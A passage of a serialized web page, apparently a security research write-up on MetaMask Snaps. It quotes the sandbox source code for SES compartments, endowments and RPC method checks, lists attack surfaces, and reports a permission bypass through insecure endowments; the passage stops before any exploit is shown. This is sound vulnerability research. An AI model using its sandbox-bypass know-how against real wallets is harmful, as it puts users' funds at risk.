",{"type":23,"tag":135,"props":35664,"children":35666},{"className":35665},[],[35667],{"type":28,"value":35668},"harden",{"type":28,"value":35670}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":797,"props":35672,"children":35673},{"start":151},[35674],{"type":23,"tag":801,"props":35675,"children":35676},{},[35677],{"type":23,"tag":56,"props":35678,"children":35679},{},[35680,35682],{"type":28,"value":35681},"Create the snap ",{"type":23,"tag":64,"props":35683,"children":35686},{"href":35684,"rel":35685},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[68],[35687],{"type":28,"value":35293},{"type":23,"tag":128,"props":35689,"children":35691},{"className":33503,"code":35690,"language":33505,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[35692],{"type":23,"tag":135,"props":35693,"children":35694},{"__ignoreMap":7},[35695,35723,35739,35756,35781],{"type":23,"tag":139,"props":35696,"children":35697},{"class":141,"line":142},[35698,35702,35707,35711,35715,35719],{"type":23,"tag":139,"props":35699,"children":35700},{"style":279},[35701],{"type":28,"value":7663},{"type":23,"tag":139,"props":35703,"children":35704},{"style":294},[35705],{"type":28,"value":35706}," compartment",{"type":23,"tag":139,"props":35708,"children":35709},{"style":982},[35710],{"type":28,"value":985},{"type":23,"tag":139,"props":35712,"children":35713},{"style":279},[35714],{"type":28,"value":29820},{"type":23,"tag":139,"props":35716,"children":35717},{"style":245},[35718],{"type":28,"value":35348},{"type":23,"tag":139,"props":35720,"children":35721},{"style":259},[35722],{"type":28,"value":13152},{"type":23,"tag":139,"props":35724,"children":35725},{"class":141,"line":151},[35726,35731,35735],{"type":23,"tag":139,"props":35727,"children":35728},{"style":982},[35729],{"type":28,"value":35730},"    ...",{"type":23,"tag":139,"props":35732,"children":35733},{"style":294},[35734],{"type":28,"value":35457},{"type":23,"tag":139,"props":35736,"children":35737},{"style":259},[35738],{"type":28,"value":1488},{"type":23,"tag":139,"props":35740,"children":35741},{"class":141,"line":160},[35742,35747,35752],{"type":23,"tag":139,"props":35743,"children":35744},{"style":294},[35745],{"type":28,"value":35746},"    module:",{"type":23,"tag":139,"props":35748,"children":35749},{"style":294},[35750],{"type":28,"value":35751}," snapModule",{"type":23,"tag":139,"props":35753,"children":35754},{"style":259},[35755],{"type":28,"value":1488},{"type":23,"tag":139,"props":35757,"children":35758},{"class":141,"line":169},[35759,35764,35768,35772,35777],{"type":23,"tag":139,"props":35760,"children":35761},{"style":294},[35762],{"type":28,"value":35763},"    exports:",{"type":23,"tag":139,"props":35765,"children":35766},{"style":294},[35767],{"type":28,"value":35751},{"type":23,"tag":139,"props":35769,"children":35770},{"style":259},[35771],{"type":28,"value":73},{"type":23,"tag":139,"props":35773,"children":35774},{"style":294},[35775],{"type":28,"value":35776},"exports",{"type":23,"tag":139,"props":35778,"children":35779},{"style":259},[35780],{"type":28,"value":1488},{"type":23,"tag":139,"props":35782,"children":35783},{"class":141,"line":178},[35784],{"type":23,"tag":139,"props":35785,"children":35786},{"style":259},[35787],{"type":28,"value":33227},{"type":23,"tag":24,"props":35789,"children":35790},{},[35791,35793,35799,35800,35805,35807,35812],{"type":28,"value":35792},"Note: ",{"type":23,"tag":135,"props":35794,"children":35796},{"className":35795},[],[35797],{"type":28,"value":35798},"module",{"type":28,"value":9002},{"type":23,"tag":135,"props":35801,"children":35803},{"className":35802},[],[35804],{"type":28,"value":35776},{"type":28,"value":35806}," are passed as endowments, but without being ",{"type":23,"tag":659,"props":35808,"children":35809},{},[35810],{"type":28,"value":35811},"hardened",{"type":28,"value":35813},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":797,"props":35815,"children":35816},{"start":160},[35817],{"type":23,"tag":801,"props":35818,"children":35819},{},[35820],{"type":23,"tag":56,"props":35821,"children":35822},{},[35823,35825],{"type":28,"value":35824},"Evaluate the snap code inside the ",{"type":23,"tag":64,"props":35826,"children":35829},{"href":35827,"rel":35828},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[68],[35830],{"type":28,"value":35293},{"type":23,"tag":128,"props":35832,"children":35834},{"className":33503,"code":35833,"language":33505,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, snapModule);\n});\n",[35835],{"type":23,"tag":135,"props":35836,"children":35837},{"__ignoreMap":7},[35838,35879,35909,35946],{"type":23,"tag":139,"props":35839,"children":35840},{"class":141,"line":142},[35841,35845,35849,35853,35858,35862,35866,35871,35875],{"type":23,"tag":139,"props":35842,"children":35843},{"style":319},[35844],{"type":28,"value":30804},{"type":23,"tag":139,"props":35846,"children":35847},{"style":279},[35848],{"type":28,"value":33606},{"type":23,"tag":139,"props":35850,"children":35851},{"style":259},[35852],{"type":28,"value":73},{"type":23,"tag":139,"props":35854,"children":35855},{"style":245},[35856],{"type":28,"value":35857},"executeInSnapContext",{"type":23,"tag":139,"props":35859,"children":35860},{"style":259},[35861],{"type":28,"value":262},{"type":23,"tag":139,"props":35863,"children":35864},{"style":294},[35865],{"type":28,"value":33910},{"type":23,"tag":139,"props":35867,"children":35868},{"style":259},[35869],{"type":28,"value":35870},", () ",{"type":23,"tag":139,"props":35872,"children":35873},{"style":279},[35874],{"type":28,"value":12833},{"type":23,"tag":139,"props":35876,"children":35877},{"style":259},[35878],{"type":28,"value":1268},{"type":23,"tag":139,"props":35880,"children":35881},{"class":141,"line":151},[35882,35887,35891,35896,35900,35905],{"type":23,"tag":139,"props":35883,"children":35884},{"style":294},[35885],{"type":28,"value":35886},"    compartment",{"type":23,"tag":139,"props":35888,"children":35889},{"style":259},[35890],{"type":28,"value":73},{"type":23,"tag":139,"props":35892,"children":35893},{"style":245},[35894],{"type":28,"value":35895},"evaluate",{"type":23,"tag":139,"props":35897,"children":35898},{"style":259},[35899],{"type":28,"value":262},{"type":23,"tag":139,"props":35901,"children":35902},{"style":294},[35903],{"type":28,"value":35904},"sourceCode",{"type":23,"tag":139,"props":35906,"children":35907},{"style":259},[35908],{"type":28,"value":1820},{"type":23,"tag":139,"props":35910,"children":35911},{"class":141,"line":160},[35912,35916,35920,35925,35929,35933,35937,35942],{"type":23,"tag":139,"props":35913,"children":35914},{"style":279},[35915],{"type":28,"value":33954},{"type":23,"tag":139,"props":35917,"children":35918},{"style":259},[35919],{"type":28,"value":73},{"type":23,"tag":139,"props":35921,"children":35922},{"style":245},[35923],{"type":28,"value":35924},"registerSnapExports",{"type":23,"tag":139,"props":35926,"children":35927},{"style":259},[35928],{"type":28,"value":262},{"type":23,"tag":139,"props":35930,"children":35931},{"style":294},[35932],{"type":28,"value":33910},{"type":23,"tag":139,"props":35934,"children":35935},{"style":259},[35936],{"type":28,"value":1052},{"type":23,"tag":139,"props":35938,"children":35939},{"style":294},[35940],{"type":28,"value":35941},"snapModule",{"type":23,"tag":139,"props":35943,"children":35944},{"style":259},[35945],{"type":28,"value":1820},{"type":23,"tag":139,"props":35947,"children":35948},{"class":141,"line":169},[35949],{"type":23,"tag":139,"props":35950,"children":35951},{"style":259},[35952],{"type":28,"value":33227},{"type":23,"tag":24,"props":35954,"children":35955},{},[35956,35958,35964,35965,35971,35972,35978],{"type":28,"value":35957},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":135,"props":35959,"children":35961},{"className":35960},[],[35962],{"type":28,"value":35963},"onRpcRequest",{"type":28,"value":1052},{"type":23,"tag":135,"props":35966,"children":35968},{"className":35967},[],[35969],{"type":28,"value":35970},"onTransaction",{"type":28,"value":11145},{"type":23,"tag":135,"props":35973,"children":35975},{"className":35974},[],[35976],{"type":28,"value":35977},"onCronjob",{"type":28,"value":73},{"type":23,"tag":24,"props":35980,"children":35981},{},[35982,35984,35989],{"type":28,"value":35983},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":135,"props":35985,"children":35987},{"className":35986},[],[35988],{"type":28,"value":35307},{"type":28,"value":35990}," environment of that Compartment.",{"type":23,"tag":24,"props":35992,"children":35993},{},[35994],{"type":28,"value":35995},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":41,"props":35997,"children":35999},{"id":35998},"vulnerability-research",[36000],{"type":28,"value":36001},"Vulnerability research",{"type":23,"tag":666,"props":36003,"children":36005},{"id":36004},"possible-attacks",[36006],{"type":28,"value":36007},"Possible attacks",{"type":23,"tag":24,"props":36009,"children":36010},{},[36011],{"type":28,"value":36012},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":14699,"props":36014,"children":36015},{},[36016,36021,36026,36031],{"type":23,"tag":801,"props":36017,"children":36018},{},[36019],{"type":28,"value":36020},"Broken SES Container isolation",{"type":23,"tag":801,"props":36022,"children":36023},{},[36024],{"type":28,"value":36025},"Insecure endowments in Containers",{"type":23,"tag":801,"props":36027,"children":36028},{},[36029],{"type":28,"value":36030},"Incorrect RPC permission checks",{"type":23,"tag":801,"props":36032,"children":36033},{},[36034],{"type":28,"value":36035},"Insecure snap installation/update",{"type":23,"tag":24,"props":36037,"children":36038},{},[36039],{"type":28,"value":36040},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":36042,"children":36043},{},[36044],{"type":28,"value":36045},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":666,"props":36047,"children":36049},{"id":36048},"rpc-interfaces-endowments",[36050],{"type":28,"value":36051},"RPC interfaces endowments",{"type":23,"tag":16900,"props":36053,"children":36055},{"id":36054},"providers-limitations",[36056],{"type":28,"value":36057},"Providers limitations",{"type":23,"tag":24,"props":36059,"children":36060},{},[36061,36063,36069,36070,36075,36077,36084],{"type":28,"value":36062},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":135,"props":36064,"children":36066},{"className":36065},[],[36067],{"type":28,"value":36068},"snap",{"type":28,"value":9002},{"type":23,"tag":135,"props":36071,"children":36073},{"className":36072},[],[36074],{"type":28,"value":29304},{"type":28,"value":36076}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":64,"props":36078,"children":36081},{"href":36079,"rel":36080},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[68],[36082],{"type":28,"value":36083},"methods",{"type":28,"value":2493},{"type":23,"tag":128,"props":36086,"children":36088},{"className":33503,"code":36087,"language":33505,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[36089],{"type":23,"tag":135,"props":36090,"children":36091},{"__ignoreMap":7},[36092,36132,36140,36152,36222,36283,36295,36303,36314,36354,36384,36396,36421,36428,36436,36443,36481],{"type":23,"tag":139,"props":36093,"children":36094},{"class":141,"line":142},[36095,36100,36105,36110,36114,36119,36123,36128],{"type":23,"tag":139,"props":36096,"children":36097},{"style":319},[36098],{"type":28,"value":36099},"export",{"type":23,"tag":139,"props":36101,"children":36102},{"style":279},[36103],{"type":28,"value":36104}," function",{"type":23,"tag":139,"props":36106,"children":36107},{"style":245},[36108],{"type":28,"value":36109}," assertSnapOutboundRequest",{"type":23,"tag":139,"props":36111,"children":36112},{"style":259},[36113],{"type":28,"value":262},{"type":23,"tag":139,"props":36115,"children":36116},{"style":294},[36117],{"type":28,"value":36118},"args",{"type":23,"tag":139,"props":36120,"children":36121},{"style":982},[36122],{"type":28,"value":2493},{"type":23,"tag":139,"props":36124,"children":36125},{"style":305},[36126],{"type":28,"value":36127}," RequestArguments",{"type":23,"tag":139,"props":36129,"children":36130},{"style":259},[36131],{"type":28,"value":12815},{"type":23,"tag":139,"props":36133,"children":36134},{"class":141,"line":151},[36135],{"type":23,"tag":139,"props":36136,"children":36137},{"style":958},[36138],{"type":28,"value":36139},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":139,"props":36141,"children":36142},{"class":141,"line":160},[36143,36148],{"type":23,"tag":139,"props":36144,"children":36145},{"style":245},[36146],{"type":28,"value":36147},"  assert",{"type":23,"tag":139,"props":36149,"children":36150},{"style":259},[36151],{"type":28,"value":1443},{"type":23,"tag":139,"props":36153,"children":36154},{"class":141,"line":169},[36155,36160,36164,36169,36173,36178,36182,36187,36191,36195,36199,36204,36208,36213,36217],{"type":23,"tag":139,"props":36156,"children":36157},{"style":305},[36158],{"type":28,"value":36159},"    String",{"type":23,"tag":139,"props":36161,"children":36162},{"style":259},[36163],{"type":28,"value":73},{"type":23,"tag":139,"props":36165,"children":36166},{"style":294},[36167],{"type":28,"value":36168},"prototype",{"type":23,"tag":139,"props":36170,"children":36171},{"style":259},[36172],{"type":28,"value":73},{"type":23,"tag":139,"props":36174,"children":36175},{"style":294},[36176],{"type":28,"value":36177},"startsWith",{"type":23,"tag":139,"props":36179,"children":36180},{"style":259},[36181],{"type":28,"value":73},{"type":23,"tag":139,"props":36183,"children":36184},{"style":245},[36185],{"type":28,"value":36186},"call",{"type":23,"tag":139,"props":36188,"children":36189},{"style":259},[36190],{"type":28,"value":262},{"type":23,"tag":139,"props":36192,"children":36193},{"style":294},[36194],{"type":28,"value":36118},{"type":23,"tag":139,"props":36196,"children":36197},{"style":259},[36198],{"type":28,"value":73},{"type":23,"tag":139,"props":36200,"children":36201},{"style":294},[36202],{"type":28,"value":36203},"method",{"type":23,"tag":139,"props":36205,"children":36206},{"style":259},[36207],{"type":28,"value":1052},{"type":23,"tag":139,"props":36209,"children":36210},{"style":265},[36211],{"type":28,"value":36212},"'wallet_'",{"type":23,"tag":139,"props":36214,"children":36215},{"style":259},[36216],{"type":28,"value":1062},{"type":23,"tag":139,"props":36218,"children":36219},{"style":982},[36220],{"type":28,"value":36221},"||\n",{"type":23,"tag":139,"props":36223,"children":36224},{"class":141,"line":178},[36225,36230,36234,36238,36242,36246,36250,36254,36258,36262,36266,36270,36274,36279],{"type":23,"tag":139,"props":36226,"children":36227},{"style":305},[36228],{"type":28,"value":36229},"      String",{"type":23,"tag":139,"props":36231,"children":36232},{"style":259},[36233],{"type":28,"value":73},{"type":23,"tag":139,"props":36235,"children":36236},{"style":294},[36237],{"type":28,"value":36168},{"type":23,"tag":139,"props":36239,"children":36240},{"style":259},[36241],{"type":28,"value":73},{"type":23,"tag":139,"props":36243,"children":36244},{"style":294},[36245],{"type":28,"value":36177},{"type":23,"tag":139,"props":36247,"children":36248},{"style":259},[36249],{"type":28,"value":73},{"type":23,"tag":139,"props":36251,"children":36252},{"style":245},[36253],{"type":28,"value":36186},{"type":23,"tag":139,"props":36255,"children":36256},{"style":259},[36257],{"type":28,"value":262},{"type":23,"tag":139,"props":36259,"children":36260},{"style":294},[36261],{"type":28,"value":36118},{"type":23,"tag":139,"props":36263,"children":36264},{"style":259},[36265],{"type":28,"value":73},{"type":23,"tag":139,"props":36267,"children":36268},{"style":294},[36269],{"type":28,"value":36203},{"type":23,"tag":139,"props":36271,"children":36272},{"style":259},[36273],{"type":28,"value":1052},{"type":23,"tag":139,"props":36275,"children":36276},{"style":265},[36277],{"type":28,"value":36278},"'snap_'",{"type":23,"tag":139,"props":36280,"children":36281},{"style":259},[36282],{"type":28,"value":4739},{"type":23,"tag":139,"props":36284,"children":36285},{"class":141,"line":187},[36286,36291],{"type":23,"tag":139,"props":36287,"children":36288},{"style":265},[36289],{"type":28,"value":36290},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":139,"props":36292,"children":36293},{"style":259},[36294],{"type":28,"value":1488},{"type":23,"tag":139,"props":36296,"children":36297},{"class":141,"line":196},[36298],{"type":23,"tag":139,"props":36299,"children":36300},{"style":259},[36301],{"type":28,"value":36302},"  );\n",{"type":23,"tag":139,"props":36304,"children":36305},{"class":141,"line":205},[36306,36310],{"type":23,"tag":139,"props":36307,"children":36308},{"style":245},[36309],{"type":28,"value":36147},{"type":23,"tag":139,"props":36311,"children":36312},{"style":259},[36313],{"type":28,"value":1443},{"type":23,"tag":139,"props":36315,"children":36316},{"class":141,"line":214},[36317,36321,36326,36330,36334,36338,36342,36346,36350],{"type":23,"tag":139,"props":36318,"children":36319},{"style":982},[36320],{"type":28,"value":18978},{"type":23,"tag":139,"props":36322,"children":36323},{"style":294},[36324],{"type":28,"value":36325},"BLOCKED_RPC_METHODS",{"type":23,"tag":139,"props":36327,"children":36328},{"style":259},[36329],{"type":28,"value":73},{"type":23,"tag":139,"props":36331,"children":36332},{"style":245},[36333],{"type":28,"value":33070},{"type":23,"tag":139,"props":36335,"children":36336},{"style":259},[36337],{"type":28,"value":262},{"type":23,"tag":139,"props":36339,"children":36340},{"style":294},[36341],{"type":28,"value":36118},{"type":23,"tag":139,"props":36343,"children":36344},{"style":259},[36345],{"type":28,"value":73},{"type":23,"tag":139,"props":36347,"children":36348},{"style":294},[36349],{"type":28,"value":36203},{"type":23,"tag":139,"props":36351,"children":36352},{"style":259},[36353],{"type":28,"value":4739},{"type":23,"tag":139,"props":36355,"children":36356},{"class":141,"line":1320},[36357,36362,36366,36371,36375,36380],{"type":23,"tag":139,"props":36358,"children":36359},{"style":294},[36360],{"type":28,"value":36361},"    ethErrors",{"type":23,"tag":139,"props":36363,"children":36364},{"style":259},[36365],{"type":28,"value":73},{"type":23,"tag":139,"props":36367,"children":36368},{"style":294},[36369],{"type":28,"value":36370},"rpc",{"type":23,"tag":139,"props":36372,"children":36373},{"style":259},[36374],{"type":28,"value":73},{"type":23,"tag":139,"props":36376,"children":36377},{"style":245},[36378],{"type":28,"value":36379},"methodNotFound",{"type":23,"tag":139,"props":36381,"children":36382},{"style":259},[36383],{"type":28,"value":13152},{"type":23,"tag":139,"props":36385,"children":36386},{"class":141,"line":1329},[36387,36392],{"type":23,"tag":139,"props":36388,"children":36389},{"style":294},[36390],{"type":28,"value":36391},"      data:",{"type":23,"tag":139,"props":36393,"children":36394},{"style":259},[36395],{"type":28,"value":1268},{"type":23,"tag":139,"props":36397,"children":36398},{"class":141,"line":1580},[36399,36404,36409,36413,36417],{"type":23,"tag":139,"props":36400,"children":36401},{"style":294},[36402],{"type":28,"value":36403},"        method:",{"type":23,"tag":139,"props":36405,"children":36406},{"style":294},[36407],{"type":28,"value":36408}," args",{"type":23,"tag":139,"props":36410,"children":36411},{"style":259},[36412],{"type":28,"value":73},{"type":23,"tag":139,"props":36414,"children":36415},{"style":294},[36416],{"type":28,"value":36203},{"type":23,"tag":139,"props":36418,"children":36419},{"style":259},[36420],{"type":28,"value":1488},{"type":23,"tag":139,"props":36422,"children":36423},{"class":141,"line":1597},[36424],{"type":23,"tag":139,"props":36425,"children":36426},{"style":259},[36427],{"type":28,"value":35089},{"type":23,"tag":139,"props":36429,"children":36430},{"class":141,"line":1614},[36431],{"type":23,"tag":139,"props":36432,"children":36433},{"style":259},[36434],{"type":28,"value":36435},"    }),\n",{"type":23,"tag":139,"props":36437,"children":36438},{"class":141,"line":1627},[36439],{"type":23,"tag":139,"props":36440,"children":36441},{"style":259},[36442],{"type":28,"value":36302},{"type":23,"tag":139,"props":36444,"children":36445},{"class":141,"line":1636},[36446,36451,36455,36459,36463,36468,36472,36477],{"type":23,"tag":139,"props":36447,"children":36448},{"style":245},[36449],{"type":28,"value":36450},"  assertStruct",{"type":23,"tag":139,"props":36452,"children":36453},{"style":259},[36454],{"type":28,"value":262},{"type":23,"tag":139,"props":36456,"children":36457},{"style":294},[36458],{"type":28,"value":36118},{"type":23,"tag":139,"props":36460,"children":36461},{"style":259},[36462],{"type":28,"value":1052},{"type":23,"tag":139,"props":36464,"children":36465},{"style":294},[36466],{"type":28,"value":36467},"JsonStruct",{"type":23,"tag":139,"props":36469,"children":36470},{"style":259},[36471],{"type":28,"value":1052},{"type":23,"tag":139,"props":36473,"children":36474},{"style":265},[36475],{"type":28,"value":36476},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":139,"props":36478,"children":36479},{"style":259},[36480],{"type":28,"value":1820},{"type":23,"tag":139,"props":36482,"children":36483},{"class":141,"line":1659},[36484],{"type":23,"tag":139,"props":36485,"children":36486},{"style":259},[36487],{"type":28,"value":1897},{"type":23,"tag":24,"props":36489,"children":36490},{},[36491,36493,36498,36500,36506,36507,36513],{"type":28,"value":36492},"This function is called by the ",{"type":23,"tag":135,"props":36494,"children":36496},{"className":36495},[],[36497],{"type":28,"value":36068},{"type":28,"value":36499}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":135,"props":36501,"children":36503},{"className":36502},[],[36504],{"type":28,"value":36505},"wallet_",{"type":28,"value":11145},{"type":23,"tag":135,"props":36508,"children":36510},{"className":36509},[],[36511],{"type":28,"value":36512},"snap_",{"type":28,"value":36514},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":36516,"children":36517},{},[36518,36520,36525,36527,36532,36534,36540],{"type":28,"value":36519},"On the other hand, the ",{"type":23,"tag":135,"props":36521,"children":36523},{"className":36522},[],[36524],{"type":28,"value":29304},{"type":28,"value":36526}," provider only blocks methods starting with ",{"type":23,"tag":135,"props":36528,"children":36530},{"className":36529},[],[36531],{"type":28,"value":36512},{"type":28,"value":36533}," and the blocked methods. However, it requires the ",{"type":23,"tag":135,"props":36535,"children":36537},{"className":36536},[],[36538],{"type":28,"value":36539},"endowment:ethereum-provider",{"type":28,"value":36541}," permission in the snap manifest.",{"type":23,"tag":16900,"props":36543,"children":36545},{"id":36544},"execution-flow",[36546],{"type":28,"value":36547},"Execution flow",{"type":23,"tag":24,"props":36549,"children":36550},{},[36551,36553,36558,36559,36564,36566,36571,36572,36578],{"type":28,"value":36552},"Both providers (",{"type":23,"tag":135,"props":36554,"children":36556},{"className":36555},[],[36557],{"type":28,"value":36068},{"type":28,"value":9002},{"type":23,"tag":135,"props":36560,"children":36562},{"className":36561},[],[36563],{"type":28,"value":29304},{"type":28,"value":36565},") are built outside the SES container with a ",{"type":23,"tag":135,"props":36567,"children":36569},{"className":36568},[],[36570],{"type":28,"value":29380},{"type":28,"value":471},{"type":23,"tag":64,"props":36573,"children":36576},{"href":36574,"rel":36575},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[68],[36577],{"type":28,"value":29264},{"type":28,"value":2493},{"type":23,"tag":128,"props":36580,"children":36582},{"className":33820,"code":36581,"language":33822,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[36583],{"type":23,"tag":135,"props":36584,"children":36585},{"__ignoreMap":7},[36586,36633,36658,36691,36726,36738,36758,36796,36816,36823,36840,36873,36880],{"type":23,"tag":139,"props":36587,"children":36588},{"class":141,"line":142},[36589,36593,36597,36601,36605,36609,36613,36617,36621,36625,36629],{"type":23,"tag":139,"props":36590,"children":36591},{"style":279},[36592],{"type":28,"value":34078},{"type":23,"tag":139,"props":36594,"children":36595},{"style":245},[36596],{"type":28,"value":29269},{"type":23,"tag":139,"props":36598,"children":36599},{"style":982},[36600],{"type":28,"value":985},{"type":23,"tag":139,"props":36602,"children":36603},{"style":279},[36604],{"type":28,"value":34255},{"type":23,"tag":139,"props":36606,"children":36607},{"style":259},[36608],{"type":28,"value":1042},{"type":23,"tag":139,"props":36610,"children":36611},{"style":294},[36612],{"type":28,"value":36118},{"type":23,"tag":139,"props":36614,"children":36615},{"style":982},[36616],{"type":28,"value":2493},{"type":23,"tag":139,"props":36618,"children":36619},{"style":305},[36620],{"type":28,"value":36127},{"type":23,"tag":139,"props":36622,"children":36623},{"style":259},[36624],{"type":28,"value":1062},{"type":23,"tag":139,"props":36626,"children":36627},{"style":279},[36628],{"type":28,"value":12833},{"type":23,"tag":139,"props":36630,"children":36631},{"style":259},[36632],{"type":28,"value":1268},{"type":23,"tag":139,"props":36634,"children":36635},{"class":141,"line":151},[36636,36641,36645,36649,36653],{"type":23,"tag":139,"props":36637,"children":36638},{"style":245},[36639],{"type":28,"value":36640},"      assertSnapOutboundRequest",{"type":23,"tag":139,"props":36642,"children":36643},{"style":259},[36644],{"type":28,"value":262},{"type":23,"tag":139,"props":36646,"children":36647},{"style":294},[36648],{"type":28,"value":36118},{"type":23,"tag":139,"props":36650,"children":36651},{"style":259},[36652],{"type":28,"value":26375},{"type":23,"tag":139,"props":36654,"children":36655},{"style":958},[36656],{"type":28,"value":36657},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":139,"props":36659,"children":36660},{"class":141,"line":160},[36661,36665,36670,36674,36679,36683,36687],{"type":23,"tag":139,"props":36662,"children":36663},{"style":279},[36664],{"type":28,"value":29434},{"type":23,"tag":139,"props":36666,"children":36667},{"style":294},[36668],{"type":28,"value":36669}," sanitizedArgs",{"type":23,"tag":139,"props":36671,"children":36672},{"style":982},[36673],{"type":28,"value":985},{"type":23,"tag":139,"props":36675,"children":36676},{"style":245},[36677],{"type":28,"value":36678}," getSafeJson",{"type":23,"tag":139,"props":36680,"children":36681},{"style":259},[36682],{"type":28,"value":262},{"type":23,"tag":139,"props":36684,"children":36685},{"style":294},[36686],{"type":28,"value":36118},{"type":23,"tag":139,"props":36688,"children":36689},{"style":259},[36690],{"type":28,"value":1820},{"type":23,"tag":139,"props":36692,"children":36693},{"class":141,"line":169},[36694,36699,36703,36708,36712,36716,36721],{"type":23,"tag":139,"props":36695,"children":36696},{"style":279},[36697],{"type":28,"value":36698},"      this",{"type":23,"tag":139,"props":36700,"children":36701},{"style":259},[36702],{"type":28,"value":73},{"type":23,"tag":139,"props":36704,"children":36705},{"style":245},[36706],{"type":28,"value":36707},"notify",{"type":23,"tag":139,"props":36709,"children":36710},{"style":259},[36711],{"type":28,"value":29385},{"type":23,"tag":139,"props":36713,"children":36714},{"style":294},[36715],{"type":28,"value":29390},{"type":23,"tag":139,"props":36717,"children":36718},{"style":265},[36719],{"type":28,"value":36720}," 'OutboundRequest'",{"type":23,"tag":139,"props":36722,"children":36723},{"style":259},[36724],{"type":28,"value":36725}," });\n",{"type":23,"tag":139,"props":36727,"children":36728},{"class":141,"line":178},[36729,36734],{"type":23,"tag":139,"props":36730,"children":36731},{"style":319},[36732],{"type":28,"value":36733},"      try",{"type":23,"tag":139,"props":36735,"children":36736},{"style":259},[36737],{"type":28,"value":1268},{"type":23,"tag":139,"props":36739,"children":36740},{"class":141,"line":187},[36741,36745,36749,36754],{"type":23,"tag":139,"props":36742,"children":36743},{"style":319},[36744],{"type":28,"value":13755},{"type":23,"tag":139,"props":36746,"children":36747},{"style":319},[36748],{"type":28,"value":34101},{"type":23,"tag":139,"props":36750,"children":36751},{"style":245},[36752],{"type":28,"value":36753}," withTeardown",{"type":23,"tag":139,"props":36755,"children":36756},{"style":259},[36757],{"type":28,"value":1443},{"type":23,"tag":139,"props":36759,"children":36760},{"class":141,"line":196},[36761,36766,36770,36775,36779,36784,36788,36792],{"type":23,"tag":139,"props":36762,"children":36763},{"style":245},[36764],{"type":28,"value":36765},"          originalRequest",{"type":23,"tag":139,"props":36767,"children":36768},{"style":259},[36769],{"type":28,"value":262},{"type":23,"tag":139,"props":36771,"children":36772},{"style":294},[36773],{"type":28,"value":36774},"sanitizedArgs",{"type":23,"tag":139,"props":36776,"children":36777},{"style":319},[36778],{"type":28,"value":6833},{"type":23,"tag":139,"props":36780,"children":36781},{"style":305},[36782],{"type":28,"value":36783}," unknown",{"type":23,"tag":139,"props":36785,"children":36786},{"style":319},[36787],{"type":28,"value":6833},{"type":23,"tag":139,"props":36789,"children":36790},{"style":305},[36791],{"type":28,"value":36127},{"type":23,"tag":139,"props":36793,"children":36794},{"style":259},[36795],{"type":28,"value":4739},{"type":23,"tag":139,"props":36797,"children":36798},{"class":141,"line":205},[36799,36804,36808,36812],{"type":23,"tag":139,"props":36800,"children":36801},{"style":279},[36802],{"type":28,"value":36803},"          this",{"type":23,"tag":139,"props":36805,"children":36806},{"style":319},[36807],{"type":28,"value":6833},{"type":23,"tag":139,"props":36809,"children":36810},{"style":305},[36811],{"type":28,"value":8367},{"type":23,"tag":139,"props":36813,"children":36814},{"style":259},[36815],{"type":28,"value":1488},{"type":23,"tag":139,"props":36817,"children":36818},{"class":141,"line":214},[36819],{"type":23,"tag":139,"props":36820,"children":36821},{"style":259},[36822],{"type":28,"value":5747},{"type":23,"tag":139,"props":36824,"children":36825},{"class":141,"line":1320},[36826,36831,36836],{"type":23,"tag":139,"props":36827,"children":36828},{"style":259},[36829],{"type":28,"value":36830},"      } 